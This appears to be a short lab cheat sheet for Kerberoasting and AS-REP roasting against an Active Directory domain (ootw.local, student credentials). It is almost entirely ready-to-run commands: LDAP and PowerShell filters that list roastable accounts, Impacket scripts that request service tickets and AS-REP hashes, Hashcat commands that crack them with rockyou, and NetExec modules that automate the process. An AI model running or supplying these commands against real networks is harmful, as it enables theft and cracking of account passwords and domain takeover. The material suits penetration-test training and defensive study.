LDAP exposes the attributes that make Kerberoasting and AS-REP roasting possible. We build clean target lists first, then request tickets or hashes with Kerberos tooling.
export DC=10.10.10.200
export BASE='DC=ootw,DC=local'
export DOMAIN=ootw.local
export USER='student'
export PASS='student'
Find enabled Kerberoastable user accounts and exclude krbtgt.
ldapsearch -LLL -x -H ldap://$DC -D "$DOMAIN\\$USER" -w "$PASS" -b "$BASE" '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' name sAMAccountName servicePrincipalName memberOf adminCount pwdLastSet
Request Kerberoast tickets for all visible SPN accounts with Impacket, then crack with Hashcat.
GetUserSPNs.py $DOMAIN/$USER:"$PASS" -dc-ip $DC -request -outputfile kerberoast.tgs
hashcat -m 13100 kerberoast.tgs /usr/share/wordlists/rockyou.txt
Request a ticket for one specific service account with Impacket.
GetUserSPNs.py $DOMAIN/$USER:"$PASS" -dc-ip $DC -request-user svc_sql -outputfile svc_sql.tgs
Find enabled AS-REP roastable users.
ldapsearch -LLL -x -H ldap://$DC -D "$DOMAIN\\$USER" -w "$PASS" -b "$BASE" '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' name sAMAccountName distinguishedName userAccountControl
Request AS-REP material with Impacket, then crack with Hashcat.
GetNPUsers.py $DOMAIN/ -dc-ip $DC -usersfile users.txt -format hashcat -outputfile asrep.hashes
GetNPUsers.py $DOMAIN/$USER:"$PASS" -dc-ip $DC -request -format hashcat -outputfile asrep.hashes
hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt
Fast wrapper checks with NetExec.
nxc ldap $DC -d OOTW -u $USER -p "$PASS" -M get-spns
nxc ldap $DC -d OOTW -u $USER -p "$PASS" -M asreproast
Windows-side equivalent.
Get-ADUser -LDAPFilter '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' -Properties ServicePrincipalName,MemberOf,AdminCount,pwdLastSet
Get-ADUser -LDAPFilter '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' -Properties UserAccountControl